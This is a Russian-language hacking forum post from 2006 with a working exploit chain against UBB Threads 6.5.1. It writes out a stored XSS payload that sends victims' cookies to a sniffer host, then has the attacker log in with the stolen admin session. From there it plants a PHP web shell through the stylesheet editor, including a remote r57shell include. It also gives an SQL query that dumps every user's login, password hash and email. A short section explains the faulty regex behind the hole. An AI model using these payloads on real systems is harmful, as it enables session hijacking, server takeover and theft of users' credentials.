Инструкция по заливке шелла Проверялось на UBB Threads 6.5.1. Для начала надо украсть cookie. Сделать это можно через следующую XSS: HTML: http://vict"onError="var/**/aa=new/**/Image();bb=document.cookie;aa.src='http://sniff/s.php?'+bb"style="background:url(http://laza);display:block;width:1px;height:1px;list-style-image:url(javascript:aa=new/**/Image()\;bb=document.cookie\;aa.src='http://sniff/s.php?'+bb)"title='alt="m.ru/1.jpg http://vict="title='i="m.ru/1.jpg Вместо "sniff/s.php?" надо вставить путь до сниффера. Менять надо в двух местах (в "list-style-image" и в обработчике onError). Далее подставляешь полученные админские cookie. Сделать это можно с помощью прог Cookie Editor в IE, встроенного менеджера cookie в опере или с помощью расширения Add & Edit Cookies в Firefox. Всё, теперь ты - админ. Иди в админку. Слева появиться меню с всевозможными действиями. Вибирай Create stylesheet (создать таблицу стилей). В большое текстовое поле вбиваешь текст шелла (а можно просто подключить шелл от rst кодом <? include("http://rst.void.ru/download/r57shell.txt"); ?>). Ниже вбиваешь любое название шелла (главное, чтобы оно оканчивалось на .php, если php-shell, на .pl, если perl-shell итд). Пусть будет называться лаконически shell.php. Кликаешь "Add this stylesheet" (добавить таблицу стилей). Ура - по адресу http://site.ru/stylesheets/shell.php лежит твой шелл. На самом деле, если тебе нужны только хеши, то можно их получить и средствами самого форума. Заходишь в раздел "SQL command" (sql команды) и вводишь: SELECT U_Username, U_Password, U_Email FROM w3t_Users (выводит логины, хеши и e-mail'ы всех юзеров). Правда, если админ сменил префикс таблиц, то это не сработает и придётся вначале узнать имя таблицы с логинами, выполнив запрос "SHOW TABLES FROM datebase", где database - имя таблицы (узнать последнее можно в разделе "Edit config settings") Почему это работает После первого взгляда на код UBB Threads 6.5, обрабатывающий посты, я не увидел ничего хорошего: PHP: $Body = preg_replace("/\[url\]http:\/\/([^\[]*?)\[\/url\]/i","<a href=\"http://\\1\" target=\"_blank\">http://\\1</a>",$Body); Регулярное выражение недвухсмысленно запрещало знак '[' в тексте ссылки. В img и др. тэгах такая же фильтрация. Следовательно спаренным тэгам в этот раз придётся курить бамбук. Но, запрещая квадратную скобку, это регулярное выражение попускает двойные кавычки! Подставил - облом. Причиной облома стал код ниже: PHP: preg_match_all("/\[url=(.*?)\]/is",$Body,$matches1); $bad = ""; for ($i=0; $i < count($matches1['0']); $i++) { if (strstr($matches1['0'][$i],"\"")) { $bad = 1; } } if (!$bad) { $Body = preg_replace("/\[url=(.*?)\](.*?)\[\/url\]/i","<a href=\"\\1\" target=\"_blank\">\\2</a>",$Body); } А почему это нельзя было совместить с первым рег. выражением? Одназначно, у кого-то кривые руки . Но тем не менее фильтр есть. Проскролив файл вверх-вниз и не найдя там ничего интересного, я уже хотел сдаться, но вдруг обратил внимание на строку: PHP: $Body = preg_replace("#([\n\r ])([a-z]+?)://([^, \n\r]+)#i", "\\1<a href=\"\\2://\\3\" target=\"_blank\">\\2://\\3</a>", $Body); Самое что ни на есть обычное действие: преобразование ссылок прописанных в тексте в кликабельные. Но после http:// разрешается все символы кроме запятой, пробела и знаков переноса (короче тех, которыми обычно отделена ссылка). Уже понятно к чему клоню? Ставим "title=' - и у нас выход в тэг. Не буду расписывать подробностей сплоита, скажу лишь основное. Сплоит работает в IE за счёт list-style-image:url(javascript:...). Opera отсылает куки по событию onError, которое, в свою очередь, возникает из-за указание несуществующего файла, как фона background:url(http://laza). Текст сплоита не виден из-за того, что размера его содержащего бокса - 1px*1px. Напоследок, приведу html-код, в который преобразуется сплоит: HTML: <a href="http://vict"onError="var/**/aa=new/**/Image();bb=document.cookie;aa.src='http://rot.hut1.ru/k/index.php?'+bb"style="background:url(http://laza);display:block;width:1px;height:1px;list-style-image:url(javascript:aa=new/**/Image()\;bb=document.cookie\;aa.src='http://rot.hut1.ru/k/index.php?'+bb)"title='alt="m.ru/1.jpg" target="_blank">http://vict"onError="var/**/aa=new/**/Im...alt="m.ru/1.jpg</a> <a href="http://vict="title='i="m.ru/1.jpg" target="_blank">http://vict="title='i="m.ru/1.jpg</a> Удачи! © pch (pchopch on the gmail.com) [antichat.ru] 2006